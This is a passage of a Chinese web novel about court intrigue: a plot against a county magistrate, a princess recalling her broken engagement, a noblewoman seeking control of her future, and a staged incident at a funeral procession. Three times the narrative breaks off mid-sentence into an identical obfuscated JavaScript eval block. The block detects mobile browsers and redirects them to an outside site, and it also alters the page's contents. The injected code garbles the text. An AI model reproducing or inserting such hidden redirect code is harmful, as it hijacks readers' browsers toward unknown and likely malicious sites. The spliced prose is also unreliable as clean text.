还有人会顺势倾诉一点烦心事，比如家里的猫跑出去好几天没影了，小孩子刚才没抱稳把瓜摔裂了。她会试着去把猫抓回去扔到那家人院里，或买个瓜塞给那人。 “那天，有个女子似乎是觉得我可怜，买了我的草筐。我问她那个问题，她问我帮什么都可以么？”闻絮回想道，“我让她先说说看。她说想让我听她诉说心事。” “她和我讲了许多话，什么被流放的儿子，在他儿子有难时和离的儿媳，不喜欢听她倾诉的女儿……越聊越久，聊到她是怎么进京的，她说现在的平良县令是她父亲，二十多年前穷困潦倒，把她卖了。她自己攀上了京中高门，体谅当年的事各有难处，也没报复过当年的家里，只是出了泥潭也没再联系过。” “一晃二十多年，她父亲竟然联系上了她。但她那高门已经衰落，无人能保护她。她怕她父亲把曾经卖了她的事抖到京城里，让她在京中再也呆不下去，所以现在很害怕。” “还说要不是她家里现在情况不好、自身难保，就收我进府里，做个小丫鬟也比在这里忍饥挨饿强。” “我问她，想让她父亲死么？” “她沉默了。然后拍了拍我就走了。” 闻絮说到这里，声音放低：“那天脑子不太灵，没和殿下说清楚。我是摸清了那县令每日进门时间和进门方式，想找机会悄悄给他做成意外的。比如门塌了，把他砸死了之类的。” “但我一大早发现，那县衙里还有另外两个人，埋伏在门口。” “我和其中一个江湖高手先打了一架。那人见势不妙，跑了。” “另一个壮汉，似乎以为我和那个江湖高手是一伙的，只是起了内哄。” 闻絮捂住脸：“当时门开了又关好，他就冲上去了。我以为他要抢我的活，也随手拔刀。” “然后，发现对面人并不是县令，刚想收刀，”闻絮气鼓鼓地瞪着连冬，“她那一刀就上来了。我挡了几下，差点就被她杀掉。” “要是我真想偷袭，她未必会赢。”闻絮说着，更是气不过，又想去摸桌上的刀，被牧晓抓住手腕。 牧晓觉得，闻絮故事里那个买她草筐的女子的经历，听起来真是耳熟。 她想了想，平良县令，好像姓孙。 39.一体两面 比起朝堂上那些政见、立场不同的殊途之人，孙氏在牧晓眼中的形象，反倒扑朔迷离起来。 姚千宁还是苏府当家人时，她只是知道孙氏的存在，但从未见过。 第一次和孙氏见面时，牧晓已在宫外独自开府快两年。 当时苏氏父子刚从西南得胜归京，在凯旋宴上，有人提起她和苏小将军儿时定下的亲事。她这才想起，自己可能还得出嫁，要嫁的还是昔日同窗兼好友。 从小就有人不断在她耳边提这件事，两人一直心知肚明，相处起来也没什么不愉快的地方。 牧晓当时想，嫁就嫁吧，嫁不嫁人能有什么不同。两人虽然有两三年没见了，但同窗时的情谊又不是假的，这几年还有书信往来，她对这门婚事没什么意见。 但没想到的是，反倒是苏家这边吞吞吐吐，显得不太情愿。苏老将军顾左右而言他，苏墨清自己一言不发。 这放京中哪家女子身上，都得火冒三丈，更别说当年从来都不知道“委屈”二字怎么写的昭灵公主。 没等她父皇母后和苏家的那几句敷衍的“再议”真正进行，她自己就准备先上延国公府问个明白——这婚成就成，不成就不成，哪有这样模棱两可的道理？ 母后在宴会后留下她，让她不要和延国公府单独正式商议这件事。若是想问对方的态度也可以，但不能随便答应对方提出的任何东西。 苏家这个态度，她上门质问还要偷偷摸摸。 进延国公府时，牧晓本就压着心里的火，盘算着该问对方点什么。 还没等她盘算出来，孙氏作为延国公府的当家夫人出面迎接，先是和她没头没脑地说了几句意味不明的东西，讲着讲着就开始扯什么女诫女训、为妇之道，还举例细数她这些年哪些地方做得有违礼教，上手想拽她去祠堂，在列祖列宗、满天神佛面前好好祷告、忏悔一番，行善积德。 胡言乱语牧晓都直接当耳旁风，但她一向相当厌恶陌生者的牵拽和触碰。 延国公府这是什么意思？我要见的人不出来，能主事的苏老将军也不出来，让现在的延国公夫人和自己说这些，还想让我去跪你家的列祖列宗？这又是什么道理。她烦躁之余，直接甩开孙氏的手。 这几年苏老将军不在家，府内孙氏自然说一不二，府外众人都敬她一声国公夫人。孙氏觉得自己好心好意被这样对待，心中亦是气不过。且满院都是她的人，都看着，被一个小辈甩开，让她的脸面往哪里放？ 两方都起了火气，几下后直接动起手。 不过让孙氏没想到的是，昭灵公主竟然身手那么好，随便抓个东西做武器，谁都近不了身。 等孙氏后悔时，局面已经一发不可收拾了。 “怎么突然想起来搭这个？”苏墨清低头端详着牧晓随手搭的延国公府框架，抬手试了下她额上的温度。 “想起自己当年真是年轻气盛，一言不合在孙氏院里打打砸砸。”事情过去多年，牧晓现在想起，和当年的感觉完全不同。她看着那初具雏形的庭院，失笑道：“那么多解决方式，偏偏选了闹得最大的那种。” “怎么想起她来了？因为平良县令么？”试出她没再发热，苏墨清放下手，在她桌子的对面坐下。 “你知道这件事？”牧晓歪头看向他。 “孙氏的事，在当年的延国公府算不上秘密。平良县令是她父亲这件事，是最近才知道的。”苏墨清解释道，“前段时间想，为什么刘尚书会信任平良县令？他在用人上偏好任人唯亲，更容易信任和他有特殊联系的人。” “私自开矿这样的事，能在平良县令手里放这么多年，大概有更深层次的牵扯。” “想来，这也是刘尚书手里集的我父亲的把柄之一。只是没用上罢了。” “能查到，主要是因平良县令不久前往京内寄了封信，刚好是寄给延国公府的。” 牧晓想，这倒是和闻絮讲述的街上事对应起来。 这条攒了多年却在三年前失去效用的线，对刘尚书来说食之无味弃之可惜，但平良县令那边却已有他许多秘密。 牧晓又想起她去平良县的第一个晚上，抓到的去灭口平良县令之人，问道：“送进京的那个去杀平良县令之人，确认和刘尚书有牵扯？” “对。”苏墨清点点头，“那个杀手和你在县衙门内挡下的那个人，都算死士。不同点在于，刘尚书显然是在得知你要前往平良县，才快马加鞭派人去灭口。事做得太急，处理得不算干净。” “你的人看管死士的经验实在丰富。他们不知道和那人说了什么，那杀手没了寻死之心，在刑部那边没过几轮就招了。” “反倒是你在县衙门内挡下的那人，嘴硬得多，也更想寻死。最后用了些特殊手段，才把话套出来。” 牧晓听到此处，挑眉问道：“你参审的？怪不得能那样快出结果。我原以为是各部比前些年有所长进，办事利落些了。” “我皇兄真是，”牧晓想了想，转念笑道，“他真是喜欢利用这些关系，将行事之速一提再提。” “和你一样，算是监督，顺便给点建议。”苏墨清无奈道，“他这样安排确实让人无法拒绝，也无法不尽力。” “那死士只是当地身手较好的普通百姓。实际上，他不是冲着你去的，而是冲着陶大小姐去的。或者说，你身边有哪位身份特殊的人，哪怕是去作证的百姓，他都会试图杀了对方，然后自尽。” “陶大小姐一直都是最佳人选。不论你是否去平良县，她特殊的身份早就被盯上了。” 牧晓有一点没想通：“这里面有个问题。杀手好找，能当死士的百姓实在不是一晚上就能沟通好的。更何况平良县令当天晚上就被我控制住，这死士应当早和他有所预谋。” “他们怎么确定，我会去平良县呢？” “因为即使你不去，这些事也同样会发生。”苏墨清定定地望着她，“他们只会因你去了，而针对你调整细节，顺带拖你下水。就算去的是别人，改变的也只是过程和结果，不会影响这件事是否发生。” 许多会让人丧失前进勇气的攻讦、苛责、诱导，玩的只是一手因果倒置。 能一眼看出的，就如“你在之处定会出现天灾”，实际上只因你刚好在天灾到来时没有装聋作哑；更隐晦的，如“你到哪里都会带来麻烦”，许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879783|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候只因你遇到麻烦却没有丢出，也没有视而不见，而是尝试自行解决。 “平良县这一局注定要开。不是从你入局的那一刻，而是已积了多年。” “殿下。”连冬走进屋中，“打听的结果是，平良县令在我等离开平良县的当日夜间，于县衙中悬梁自尽。” 牧晓闭了闭眼，缓缓吐出一口气，问道：“他的死与刘尚书请辞有关，对么？” “对。”苏墨清答道，“他不愿当刘尚书的替死鬼，却知道自己无论如何都活不下去。大概已这样纠结了许久。” “他确实因为做得那些事备受煎熬，但他给我的两份自白折里，还是没有直指这位从泥潭中提携过他，又让他半辈子不得安宁的尚书，只认了自己的愿与罪。”牧晓脑中闪过许多片段，突然哼笑一声，“我知道刘尚书为什么要在那天请辞了。” “我在平良县递上的并不是县令写的原奏折。原奏折是后来作为物证另递的。” “但这位刘尚书可不知这点。他只能看到，平良县令越权递章，表明不再忠心于他；那一夜被我抢先一步，灭口未果。” “所以他认为，我这里有平良县令知晓的所有，只是一时留在手中，等待时机好给他致命一击。这些，加上我为扳倒邢承远所查的，你可能知道的……再不走他便无法体面地离开。” “太皇太后传我们进宫的那日，懿旨来得实在太早——或许原本可以更早，甚至直接早到我从平良县回来的那个晚上，但大概是被皇后不知用什么法子拦了一把。”牧晓叹息道，“这步直指我和天灾息息相关、呈上他的罪证只为给自己脱罪的棋，乱了步数，落子迟了，给了我递上新东西的机会。” “这时，平良县令畏罪自尽的消息传到京，翻供再无可能。” “他觉得自己败局已定。” “太和门附近相遇，或许以为我在嘲讽他。”牧晓回想起当日的情景，心中的疑惑顿散，“这些大致是他请辞的直接诱因。” “至于京中那几日还有发生了什么，把他逼成这样惊弓之鸟的状态……” “在朝中多年积淀的背面，是在朝中树敌颇多。”苏墨清接道，“仅仅是在百听阁大火、驿道解封不利这两件事中，就拖了不限于工部在内的多方下水。” “他作为留存至今的老臣，荣耀爵位加身，甚至家中子侄都在官场各有发展，只想以中庸之道守住现有荣华，再不时为这繁盛小心翼翼地添砖加瓦。” “却不曾想到，当今天子对文臣取巧、武臣退缩(1)的局面痛恨已久。” “而被他牵制的各方，已不再是旧臣居多——他们在迫切地渴望一展抱负、建功立业，而非与这旧臣一道沉沦。” 冬日耀目却不算温暖的朝晖，不仅在平良县衙前铺开，更以一种势不可挡之态，在整个王朝中蔓延。 “更何况，他想要的实在太多。一直以来都是，只是这几年越来越藏不住罢了。”苏墨清看了一眼桌上的微缩延国公府，对着牧晓微笑道，“比如，你刚才提到当年在延国公府闹大的那件事。” “我似乎一直都没机会解释。” “你真的不好奇么？” 40.年少旧事 “当年自然是好奇的。现在……这很难猜么？”牧晓朝他笑着眨眨眼睛，“上次姚姨在公主府说的那些，可是给我提供了一条新思路。” “呃，不是造反那条。”牧晓又想起姚千宁举得那几个例子，一拍脑门后摆摆手。 苏墨清回想母亲上次说的话，略带好奇地问她：“嗯？推出什么了？要是按那次的章法推……”能用的头绪是不少。 “你刚才说，平良县那局注定要开，且已积攒多年。”牧晓轻叩桌面，“我们当年闹的那一场，也是攒了多年吧？” “最初缔结婚约时，就动机不纯。两家为一时利益写下的东西，成功利用过了，还留着有什么意思呢？在新境况中给我们两个另找婚事，再利用一遍，对两方来说都比信守承诺更有价值。” “当年我隐约听姚姨和我母亲一起骂过几句‘下作手段’，其中大概也包含我们这件事。” “从小，关于我们两个，两方父母笑言归笑言，可一直没有因我们作为同窗相处不错，就草率地用婚约困住我们。这正经婚书，是在他们准备夺位前夕才有的。” “站在前朝的角度想想，有实权的第一文臣和有兵权的第一武将，两家夫人闺中关系不错也就算了，竟然要真的结亲。听起来是挺登对，但放当时的环境中，可相当骇人听闻——当时的新帝并非不能亲政、需要扶持的幼子，即位之初自然要收拢权势。两家不把儿女送进宫已算没眼力，怎么还想用亲事抱团？” “要是真成了，这天下到底姓什么呢？明摆着是有不臣之心。” “于是新帝慌忙动手打压两方。” “但我想，这两府操纵的传言定不会这样叙述。大概会强调我们两个有多么两小无猜，有多么情投意合，甚至……两家只是太宠爱儿女，慈父慈母想圆儿女的私情罢了。” 牧晓说到这里嗤笑一声：“以我们两个当时的年纪，这些确实能称得上‘下作手段’——我当时十一二，这婚约早不结晚不结，卡这个年龄和这样的朝局中结，真能称得上一句荒唐。” 自己的野心，用半大孩子的名声甚至清誉树立无辜形象。两位母亲那几日情理上相当愤怒。 不过，木已成舟，且这一手经特意模糊和避重就轻后，在民间宣扬的效果，显然是不错的。 前朝婚嫁制度也是相当严苛，与暮氏女帝在位时期相对自由开放的政策形成鲜明对比。 朝中势力齐全了，而在民间舆情中，没什么能比婚丧嫁娶更直观、且更引人注意地传递“开明”这一讯号。 “注意力吸足了，再传出牧家其实是暮氏后人，承的是祖上理念，行的是祖上之道。” “本就是要反的。这三两下后成了被逼反的，还扬了道义的旗。最后一环具备，可以动手了。” “但成功夺位后，我们两个这件事就微妙起来。” 苏老将军在造反时是最大的开国功臣，在牧氏登上帝位后，就成了卧榻之侧酣睡的虎。 “延国公府，本来就封得不能再封、赏得不能再赏了。再嫁个公主除了让延国公府气焰更盛，又有什么意义？” “但若是让延国公府低一头，把培养好的长公子拱手送给我，不正式入朝为官，来表明自己没有二心，”牧晓放缓语气，对苏墨清勾唇笑了笑，“我猜苏老将军当时完全无法接受。” “但苏老将军应该也知道盛极则衰，想避避这风头，才在当时直接带你去西南待了几年吧？” “结果就这几年，你们又胜不少了——得胜当然是好事，也不能不作为或故意输，只是这风头是没避过去。” “回来的庆功宴上，这次推举的赏赐之物，成了我。” “不论我父皇母后当时怎么想，你们就是想接也不能就这么接——弄得和皇室需要迁就延国公府似的。这次送公主，下次呢？还想赏点什么？” “若是让你进我公主府呢，横空出世的少年天才，苏小将军，这样似乎不像赏赐，也太过可惜。”牧晓叹息一声。 “结果所有人都不当真的事，只有我当真了。” “孙氏应该也是苏老将军刻意让我遇上的。只是没想到我和她看起来是两个柔弱女子，实际上气性都不小。” 牧晓顿了顿，坦诚笑道：“而你当年，来我府里说的其实不是‘心意’，而是‘责任’吧。” “我过了很久才意识到，为什么我不到及笄在坊间就有那么多奇奇怪怪的传闻，当年他们的‘下作手段’里有意无意发酵出多么难听的话语。原来是因为这样，提到某些特定的事时，他们才会露出一丝我看不懂的愧疚之色，然后随手纵容我想如何就如何。” “而你呀，”牧晓略微偏过头，还是那样含笑的语气，“那天去延国公府前，我母亲让我别随意答应你们提的任何东西。” “但怎么当时我提什么，你都答应呢？” “要是我刚才不从他们夺位那块开始拆析，你又想和我说什么理由？听你的意思，当年还不是兵部尚书的那位，又在其中扮演了什么角色？”牧晓抬眸笑着问他。 “也不必把我想得那样好。你说自己当年年轻气盛，我又何尝不是呢？”苏墨清凝望着她道，“以为自己什么都可以不放手，给了终究无法兑现的承诺，到头来还需要你一遍遍问我到底愿不愿意。” 那几年京中相伴的时日里，常见她在府中拼这些微缩景观。不过当时拼的，是从京城到西南的山山水水。 自己在无意中描述的沿途景物，她会尝试去找详细的图纸，找不到就让他帮忙画一下。 当时并没有想那么多，随口说以后若是愿意和他去西南，这些都能实地见真。 先帝后崩逝前，真的把他们最疼爱的女儿封到了西南，那个算不得最富庶、最优越的地方，还给了她允许自主婚嫁的密旨。 “不过有一点说得不对。”苏墨清轻笑一声，“怎么就光是‘责任’呢？” “原来你不知道为什么第二天日你母后把我们两个一起叫进宫里训话么？你母后语重心长说，让我们在京中三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884410|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思而后行，说得不止是你。” “你在延国公府时，我在公主府门口，碰到刘尚书那个喜欢向你献好的小儿子。几句话后，没忍住，一剑鞘把他从台阶上拍下去了。” 牧晓笑起来：“这是真没人和我说过。那时正在气头上，大概没人敢在我面前提这个。你和他争什么气？当时我们……” “当时没想那么多。只是听他炫耀那几年能经常在你眼前乱晃，突然看他不顺眼。”苏墨清现在回想起当时的场景，笑着摇摇头，“放下剑鞘就开始问自己‘为什么’，问着问着就问明白了一点。” 西南到京城的一封封千里传信，漫无目的地谈天说地，让京中人向往起异乡，找书来看，找图来描，在京中找流落的西南人打听，自己望着窗外思索，一寸一寸拼起心中的远方；而身在西南之人，初入朝堂与战场，在面前骤然铺展的重重新规旧律之外，亦有纸蝶顺着缝隙扑扇入网，递来故土上的趣事杂谈，亲朋好友的近日情状，人际处事的频出鬼点，真真实实的憧憬与藏不住的艳羡…… 心中蜿蜒蔓长开一片晴空，打不进霜雪，染不上埃尘，开窗放暄风一过，汀兰岸芷便忍不住随心脏跳动的韵律破土而出。 比情爱早一步叩门的，是无端的占有欲，无端的被牵引感，无端升起似雾非雾的茫然。 那虚无缥缈的感觉慢慢凝实，逐渐变得可视可触，再被不知名的手轻轻一点，泛起微澜，顿时就会明白。 “当年其实没觉得有什么不对，现在想想，这一通闹出去，那婚约又是怎么保住的？嗯？”牧晓单手托腮盘问道。 “除了如约助我替代长辈外，具体做法得去问你皇兄。我和他的约定大致就是这段时间内达成的。”苏墨清答道，“不过现在想想，他应该提出了一个构想。” “大约是将你和你身边人，变成牵制西南的局势的一颗棋。” “就算是放我在西南当傀儡……我当时有这个本事么？他怎么就确定我当时那个性子可控？”牧晓蹙眉问道。 “你的学业其实很早以前就是他在管。可能是你母亲为了让你们相处融洽些，刻意丢给他的任务。”苏墨清思索道，“不点明很难察觉到。你临的是他的字，读的是他写的注，许多时候姚老先生给的例文也是他当年写的。” “他其实经常会去看你练武，和别人喜欢看戏一样，兴致盎然。” “你在练武上很有天赋，纸面解题路数奇特，临场应变能力极佳，加上不怕事、不服输的性格……可能在你眼中，姚老先生并不怎样欣赏你，但实际上他经常对到底给你打怎样的评语发愁，甚至有时会去找我母亲讨论。这些你皇兄都知道。” “影响最大的，大概是你借议礼论战和太皇太后，十三岁开府。” “他的意思是，你一直揣着明白装糊涂，只是差人推一把；显然，他即位后，为了印证自己的判断，真的找准机会推了你一把。” “现在刚好，证明他的眼光没错。” “是先皇眼拙。” 41.算筹与谁 牧晓有时觉得，自己亦是眼拙。 连冬将闻絮和暮药师一同送往百听阁后，刚巧将借吊唁太皇太后之名而来的陶云娴带进府中。 陶云娴走进西侧暖阁中，看到牧晓端坐在那里等她，松了一口气：“现在没事就好。殿下哭临礼时的状态，着实让人揪心。” 她暗暗猜想过牧晓是不是因天灾的事，被那神神叨叨的太皇太后叫进宫里问罪，或是下了什么手段，两方角力才弄成当时那个样子。 “云娴又推测了些什么呢？”牧晓没法和她说得太明白，向她摊了一下仍包着纱布的左手，笑了笑，“能来我府上，看来云娴在陶府中有所进展？” “这个么，还未曾和殿下道谢。”陶云娴落座后，望着她的左手，眼睫轻颤，却没有回答第一个问题，而是婉约一笑，“谢殿下当时劝我不要因家中和刘尚书之间的关系，最好不要选择隐瞒自己在平良县之事中的角色，并将我做的写进奏疏中递上去。” “这件事的结果，和我想得全然不同。” 牧晓进宫见太皇太后时，宫中赏赐到了陶府。 陶云娴原本以为，父母会因她擅作主张插手这件事大发雷霆。 风声传到他们耳中，不出她所料，确实如此。 不过，在几个时辰后，宫中嘉奖到来，彻底掀翻了他们的态度。 陶云娴接旨后松了一口气，心道圣旨在手，父母就算再不满，也不能打落圣旨或让她带着嘉奖立马禁足或跪祠堂。 她转过身，看着父母从震惊、无措，到嘴唇无声开闭、颤抖，一口气卡在胸中，像被迎头痛击般往后倒退几步，然后突然泄了气，一言不发回屋去。 她仍是陶家的大小姐，但自此之后，不再任他们搓扁揉圆。 “原是我在乎的太浅。”陶云娴怅然道，“生长在陶府，原以为讨得父母欢心，就可过得舒心些；向他们展示自己能找到出路，就能打消他们口中对我未来的忧虑。” “现在想想，他们说的‘为我着想’，不过是强迫我按他们既定规划走的托词罢了。” 若是真的为她心焦，为何她在平良县突然断了音信时，一日一日拖延，一日一日踟蹰不前，让云鹤气急到直接趁入宫伴读，去求皇子？ 在婚事上寸步不让的是他们，为了婚事一唱一和、威胁她要向宫中请旨的是他们——但婚事比她的安危还重要么？真的遇到难题，他们的说一不二，他们的坚定果决，他们展现给她的手眼通天、无所不能呢？ 都化作正在燃烧的一纸飞灰，随风散了。 原来对父母所作所为释怀的那刻，是信任崩塌的瞬间，是窥见他们亦懦弱无力的瞬间， 原来世间有这么多破局之法，不只是逃避和妥协这两种。 她不想妥协，便只是想借平良县相助逃到昭灵公主这里，求一时安定平静。 什么嘉奖之类，她完全没有想过——这是她尽自己绵薄之力就可得到的么？这是女子可获得嘉奖的方面么？ 父母口中用来胁迫她、恐吓她的“宫中意向”，也被从她头上挪开，让她看到了不同以往预期的一面——婚嫁是重，但重不过朝中事务，重不过民生难题，重不过宫中人眼里的利与忠。 宫中不会吝啬这点赏赐和嘉奖，但这东西只要一点，就能让她的日子发生翻天覆地的变化。 “道谢不必。我只是原原本本叙述罢了，不然还能欺君不成？原是我该谢你相助，免去了不少麻烦。”牧晓神色温和地看着她，“至于你和你父母之间的关系，我不便多言。不过，就如平良县那山，不论塌与不塌，都不影响它在那处真真实实地存在过——为当地带来过富饶，也带来过灾祸。” 崩塌，可以是结果，是过程，可以是一个新的开始，但从来不会成为佐证“过往即虚无”的证据。相反，每一次崩塌都在诉说，诉说过往的喜怒哀乐、爱恨情仇真真实实地存在。 心中掉落的碎石能将人砸痛，本就证明了其中蕴含的重量。 牧晗与陶郎中在京中清名甚远。为官清廉、明断是非，家中勤俭和睦，从不吝对他人出手相助；不求回报、不追名利，安稳自得。 牧晗的成名之举，是当年先帝登基之初的“三辞封赏”。 她自言庸常，在旧朝畏缩不敢反抗，在新朝建立过程中未有寸功，既然从未在危难关头挺身而出，光凭其父与先帝为亲兄弟便获封，实在有愧良心、有愧牧氏立身之道。 有人暗指她虚伪搏名，牧晗从来一笑而过。平日除了必须要出席的场合，她从不带陶云娴和陶云鹤接触皇室中人。 即使是陶云鹤被召为皇子伴读，也是天天耳提面命他，不能因此自觉高人一等，不能因此产生一步登天的妄想，要安安心心好好读书，端端正正好好做人。 在她眼中，一时风头无两必招致灾祸。功成名就、封侯拜相固好，却不是他们该享有的。能踏踏实实把自己的日子过舒服，比什么都重要。 平心而论，虽然牧晓与牧晗只是点头之交，但她完全可以理解这对父母在陶云娴心中的形象曾经是多么高大可靠，多么令人敬仰。 太皇太后常对女子挑三拣四，但偏偏对牧晗青眼有加。 此刻的血亲中，大概也只有牧晗在真正为她的离去而伤怀。 “不论如何，太皇太后服丧期之内，云娴最初的烦恼可以暂且一放。陶家定不能在这段时间内给你随意定亲。”牧晓微笑问道，“有什么打算么？” “殿下都说了，是‘暂时一放’，而非高枕无忧。”陶云娴指尖在膝头交错，“问题若是只回避不解决，总有一日会再次出现。” “宗室女子无法为宫中女官。但若是借太皇太后崩逝，成为奉祀女官未尝不是一种出路。还有为奉养祖父母留养不嫁，为未婚夫亡守贞，慕道奉佛为尼，伤病无法婚嫁……”牧晓缓缓说道，“不过对云娴来说，似乎都太过屈才。” “更何况，云娴想要的，不是嫁与不嫁，而是能自主决定未来去向，对么？”牧晓轻声道。 “对。我不信母亲说的‘嫁人后就可自主’之类的话，不愿将未来赌在那个现在还不知是何人的夫婿身上——即便家人承诺会为我精挑细选，即便可能我自己都挑不出对方的任何错处。”陶云娴语气和缓，但一句一顿陈述道，“那不是我这些年挑灯冥思苦读的所求，不是我所向往的。” “或许安逸平和、波澜不惊，或许真能有世人口中所谓的‘幸福’，但都只是在赌罢了。” “赌娘家屹立不倒，赌对方始终如一，赌夫家品行端正……”陶云娴深吸一口气，“我知道母亲说的没错，这在京中并不罕见，且即使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890966|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次没赌赢，还能和离。” “但为什么非要我先赌那一次呢？我不知为何必须先把算筹压到对方身上。” “我不愿随别人为我选择的命途浮沉。” 不是未来，不是得知选错后，而是现在。 “我记得昭灵公主府上有女官？”陶云娴话锋一转，微微侧头问牧晓。 “自然。一路随我出宫开府，甚至远赴西南。如今，实际身份早已与当初的侍女或宫中女官不同。”牧晓不动声色地望着她，身体略微前倾。 “公主府女官本不超过正八品，但随殿下赴西南的几位，因功绩和制衡需要，早就越这个品级，更接近前朝亲王府官中长史和仪卫等文武职。”陶云娴分析后，顿了顿，询问道，“敢问殿下，为何回京？” “怎么这样问？”牧晓反问，“我回来的原因，京中谁人不知？陛下召我，我为何不回？” “至于为何召我……”牧晓微微一笑，“玄岳关之战死而复生之人，这点不够么？” “对殿下来说，在西南瞒住这件事，至少短期瞒住这件事，应该不难。但殿下似乎从来没有要瞒的意思。”陶云娴的手在膝头攥成拳，声音却仍平稳，“或许殿下身边是有宫中派来的人，但进公主府这一路，我觉得殿下这府中，不像是完全受宫中挟制。” “我现在好奇，云娴的消息来源是何方？”牧晓松了松语气，状似不经意地问道，“皇后娘娘？陶家？还是……” “各方，我能接触到的各方。”陶云娴毫不回避地与她对视，“宴上旁人闲谈，酒肆茶楼消息，家中长辈闲聊，同辈西南行见闻……实在不行问父母，问云鹤，问皇后娘娘，一点一点套出来。” “或许殿下对我有印象，是从那日暖炉宴开始。但我已观察了殿下许久许久。” “从前朝，最后那次春日宴席上的投壶开始。” “我当时和崇仪一般大。” 转瞬十年。 “上次我点破殿下想要西南。殿下不直接应，是怕我是宫里派来试探的么？”陶云娴直截了当道，“那我只说我的猜测。殿下不必回应。” 牧晓定定地看着她。 “殿下去平良县时带的人不多，但个个都是精锐。第一夜所有人披星戴月，能换得后面几日顺利。等京中官员进县，这些人和殿下又都收了锋芒。” “京郊截杀我略有耳闻。殿下这边大概可算毫发无伤，不然按性质来看，不论殿下说什么，头目都不可能判得那样轻。我猜他们最终认为，劫匪并不冲着伤及性命而去。” “殿下身边从来不跟太多人。百听阁大火亲自去，登闻鼓亲自敲……我猜这算是殿下的一种示弱。且殿下在京中相当缺人，缺各方面都合适的人，贵精不贵多，但暂时没找到时机去招募和培养。” “刚才问殿下，为何回京，是因我猜测殿下的想法，与我刚才论‘婚事’的想法有异曲同工之处。”陶云娴直视她的眼睛，“京中人对西南公主府的定性议来议去，但殿下不想把算筹压到对方身上。” “涉及此事，殿下一定要亲自回京，找机会入局，尽可能影响这件事的走向。” 听到此处，牧晓不置可否道：“思路不错。照这个思路下去，有想过解决方案么？” “有的。”陶云娴干脆地答道。 42.洛水桥头 在为太皇太后送葬途中，发生了出乎所有人意料之事，将昭灵公主再次推上风口浪尖。 洛水桥头一段缓坡处，抬棺役夫需歇脚调整绳索，送葬队伍短暂停驻。 皇后凤辇停在主路中央，外围警戒，所有人的注意力都集中在太皇太后的灵柩上。 昭灵公主的马车被安排停在主路外侧的矮坡下，旁边是一堆桥下枯草。 等众人将要启程时，惊愕地发现，昭灵公主脱下身上外侧孝袍，从枯草堆中抱出了一名冻僵孩童。 在皇后的责问中，昭灵公主用颤抖的手抱住那孩童，泣道：“此袍乃祖母赐我，今用之护民，允承遗愿。若是祖母在天有灵，定含笑九原。” 于理，在送葬队伍中擅自脱掉外侧丧服，属于丧礼违制的大不敬重罪。 于情，昭灵公主近日本就因平良县太过操劳，身体不佳；又因太皇太后离世，悲戚过度。寒风中承太皇太后遗志脱袍与民，情有可原。 弹劾声与争论声，一时间轰然而起。 · “真是让我不得不入局。”牧晓缓缓解下手上的绷带，一块映着烛火着澄光的薄刀片从纱布间落下，碰在公主府案头，发出清脆一响，“那个孩童看管好了么？” “回殿下，已让他昏睡过去，并由有经验之人看守。”负责府中事的露秋应答后，又问，“陶小姐所述之事，还照常准备么？” “自然照常。我明日一早入宫请罪也请旨，正好借这件事添把火。”牧晓站在沙盘前，随手摆了一下当时的情形，又道，“把负责对接各方的几位叫来，我来叙述当时情况，方便大家行事。” 常在牧晓屋子周围或各司其职，或看起来无所事事的几位府中人陆续从夜色中进屋，聚拢在沙盘旁。 “洛水桥头之事，并非巧合，就是冲着公主府而来。”牧晓握着刀鞘，指指沙盘上的洛水桥。 “当时的车马停放位置经过精心设计——矮坡下，刚好挡住禁军视野；皇后的凤辇帷幔全遮，小皇女的车驾在后却更低一些，其余众人不是目不斜视，就是在关注太皇太后灵柩。就这样在浩浩汤汤的送葬队伍中，形成众人视野不能及之处。” “只有我的车驾，因那‘晚辈需哀戚示众’的礼仪要求，帷幔是半掀状态，又在高处，能望见与草垛几乎融为一体的孩童。” “那孩童，身上的衣物颜色、做旧程度、甚至是身体状态，都是精心设计好的。” “我当时下车，是因他掏出的这片薄刀，不慎反了光。”牧晓从案头抓起刚才从纱布间滑落的刀片，扔到沙盘中央。 “他不是想行刺，大概是怕自己撞马车会被阻拦，或因犹豫造不成太严重的后果，想把这薄刀推进自己的身体里，然后冲出去，血溅当场。” 牧晓对着猛地抬头看来的连冬轻轻点头：“平良县那一计不成，又想换个背景重演一回。” “我下车后，从他手里夺下这薄刀。他激烈反抗，还想换种方式寻死，所以我用丧服外袍把他裹起，衣袖缠住四肢，令他一时无法挣脱，他才能堪堪维持平静。” “他现在应当是不能开口言语。不过这点是否是天生，是否可恢复，以及他是否识字或有其他配合的可能，还需各位验证。” 